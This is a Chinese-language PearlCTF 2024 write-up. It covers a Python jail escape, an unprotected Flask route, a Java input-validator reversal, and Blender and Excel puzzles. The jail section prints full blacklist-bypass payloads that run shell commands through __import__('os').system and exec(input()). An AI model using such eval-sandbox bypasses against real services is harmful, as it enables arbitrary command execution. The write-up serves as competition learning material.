PearlCTF 2024 WP

文章目录

I am so vegetable 我太菜了 :-(

b4by_jail

一道简单的 Python 沙箱逃逸(指连我都会做),题目附件如下:

 1#!/usr/local/bin/python
 2import time
 3flag="pearl{f4k3_fl4g}"
 4blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
 5def banner():
 6    file=open("txt.txt","r").read()
 7    print(file)
 8def check_blocklist(string):
 9    for i in string:
10        if i in blacklist:
11            return(0)
12    return(1)
13def main():
14    banner()
15    cmd=input(">>> ")
16    time.sleep(1)
17    if(check_blocklist(cmd)):
18        try:
19            print(eval(cmd))
20        except:
21            print("Sorry no valid output to show.")
22    else:
23        print("Your sentence has been increased by 2 years for attempted escape.")
24
25main()

所有的字母都被屏蔽,部分符号被屏蔽,数字仅 0 可用,因此想到使用 Unicode 特殊字符绕过。把 __import__('os').system('ls') 的全部字母都换成全角字符:

1>>> __import__('os').system('ls')
2Traceback (most recent call last):
3  File "<stdin>", line 1, in <module>
4ModuleNotFoundError: No module named 'os'

根据 web 师傅的经验,在进行 SSTI 注入时,模块名只能使用原字符。同时由于 Linux 操作系统的限制,os.system() 中的指令也只能使用原字符。因此我们使用下面的方法作为修改过的载荷:

1__import__(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))).system(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')))

其中的 “os” 与 “ls” 都使用 0 的数量表示,最终拼凑出来的是原字符。通过这个载荷可以看到 flag 所在的文件:./run。随后将载荷中的 “ls” 改为 “cat ./run” 得到 flag。修改后的载荷如下:

1__import__(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))).system(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')))

修改载荷的脚本(用于将字符使用 0 的数量表示):

1d = "cat ./run"
2s = ''
3for i in d:
4    s += "chr(len('"
5    s += ord(i) * '0'
6    s += "')) + "
7print(s[:-3])
8
9# output: chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))

除了这一种方法,还可以使用 exec(input()) 作为攻击载荷,这样程序就会执行我们在下一行输入的代码而不进行字符检测,因此后面就可以直接输入 __import__('os').system('ls') 以及 __import__('os').system('cat ./run') 得到 flag。

TooRandom

能解出这道题就是 too random。下面是题目源码:

 1from flask import Flask
 2from flask import render_template
 3from flask import redirect
 4from flask import request
 5
 6import random
 7
 8app = Flask(__name__)
 9app.secret_key = "secret_key"
10
11seed = random.getrandbits(32)
12random.seed(seed)
13flag_no = None
14
15def generate_user_ids():
16    global flag_no
17    random_numbers = []
18    for i in range(1000000):
19        random_number = random.getrandbits(32)
20        random_numbers.append(random_number)
21    flag_no = random_numbers[-1]
22    print(flag_no)
23    st_id = 624
24    end_id = 999999
25    del random_numbers[st_id:end_id]
26    return random_numbers
27
28user_ids = generate_user_ids()
29j = 0
30
31@app.route('/')
32def home():
33    return redirect('/dashboard')
34
35@app.route('/dashboard', methods=['GET', 'POST'])
36def dashboard():
37    global j
38    id_no = user_ids[j%624]
39    j += 1
40    if request.method == 'POST':
41        number = int(request.form['number'])
42        if number == flag_no:
43            return redirect('/flagkeeper')
44        else:
45            return redirect('/wrongnumber')
46    return render_template('dashboard.html', number=id_no)
47
48@app.route('/flagkeeper')
49def flagkeeper_dashboard():
50    return render_template('flag_keeper.html', user_id=flag_no)
51
52@app.route('/wrongnumber')
53def wrong_number():
54    return render_template('wrong_number.html')
55
56if __name__ == '__main__':
57    app.run(debug=False, host="0.0.0.0")

题目需要开启实例,进去后会让用户输入一个随机数:

此页面为 /dashboard。如果随便输入一个数,大概率会错误,然后进入一个错误页面:

此时页面为 /wrongnumber。根据题目给出代码中的逻辑,如果输入数字错误,则会进入 /wrongnumber,否则进入 /flagkeeper,因此尝试直接进入 /flagkeeper

噫!我中了!网页竟然连个保护都没有,应该是非预期解了。

input_validator

题目附件是一个 Java 类,反编译得到:

 1// Source code is decompiled from a .class file using FernFlower decompiler.
 2import java.util.Scanner;
 3
 4public class input_validator {
 5   private static final int FLAG_LEN = 34;
 6
 7   public input_validator() {
 8   }
 9
10   private static boolean validate(String var0, String var1) {
11      int[] var2 = new int[34];
12      int[] var3 = new int[]{1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427};
13
14      int var4;
15      for(var4 = 0; var4 < 34; ++var4) {
16         var2[var4] = var0.charAt(var4) ^ var1.charAt(var4);
17      }
18
19      for(var4 = 0; var4 < 34; ++var4) {
20         var2[var4] -= var1.charAt(33 - var4);
21      }
22
23      int[] var6 = new int[34];
24
25      int var5;
26      for(var5 = 0; var5 < 17; ++var5) {
27         var6[var5] = var2[1 + var5 * 2] * 5;
28         var6[var5 + 17] = var2[var5 * 2] * 2;
29      }
30
31      for(var5 = 0; var5 < 34; ++var5) {
32         var6[var5] += 1337;
33      }
34
35      for(var5 = 0; var5 < 34; ++var5) {
36         if (var6[var5] != var3[var5]) {
37            return false;
38         }
39      }
40
41      return true;
42   }
43
44   public static void main(String[] var0) {
45      Scanner var1 = new Scanner(System.in);
46      String var2 = "oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD";
47      System.out.print("Enter input: ");
48      String var3 = var1.nextLine();
49      if (var3.length() != 34) {
50         System.out.println("Input length does not match!");
51      } else {
52         if (validate(new String(var3), var2)) {
53            System.out.println("Correct");
54         } else {
55            System.out.println("Wrong");
56         }
57
58      }
59   }
60}

解题脚本:

 1c = [1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427]
 2key = list("oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD")
 3
 4for i in range(34):
 5    key[i] = ord(key[i])
 6
 7for i in range(34):
 8    c[i] -= 1337
 9
10c1 = [''] * 34
11for i in range(17):
12    c1[i * 2 + 1] = int(c[i] / 5)
13    c1[i * 2] = int(c[i + 17] / 2)
14
15for i in range(34):
16    c1[i] += key[33 - i]
17
18for i in range(34):
19    c1[i] ^= key[i]
20
21for i in range(34):
22    print(chr(c1[i]), end = '')
23
24# output: pearl{w0w_r3v3r51ng_15_50_Ea5y_!!}

Shipwreck

题目附件是一个 .blend Blender 工程文件,需要使用 Blender 打开。

flag 在船上第二根桅杆顶部的灯泡上,把灯泡隐藏就能看见 flag。

眼力题。

Excel Mayhem

题目附件是一个 .xlsx 的 Excel 表格文件,文件中有 40000 个 flag,其中有 39999 个 fake flag 与一个 real flag。

众所周知,.xlsx 文件本质上是一个压缩文件,我们不妨修改文件后缀名为 .zip 并解压之。原文件中的字符串存储于 flags\xl\sharedStrings.xml 中。

使用下面的脚本检测缺少哪一个 'fake_flag'

 1with open("sharedStrings.xml", 'r') as xml:
 2    s = xml.read().split('</t></si><si><t>')
 3
 4for i in range(2,40001):
 5    fake = f"fake_flag{i}"
 6    if fake not in s:
 7        print(i)
 8        break
 9
10# output: 1351

第 1351 个 flag 是 real flag。

其实眼力好的话,有几行宽度不一样,也可以直接看出来。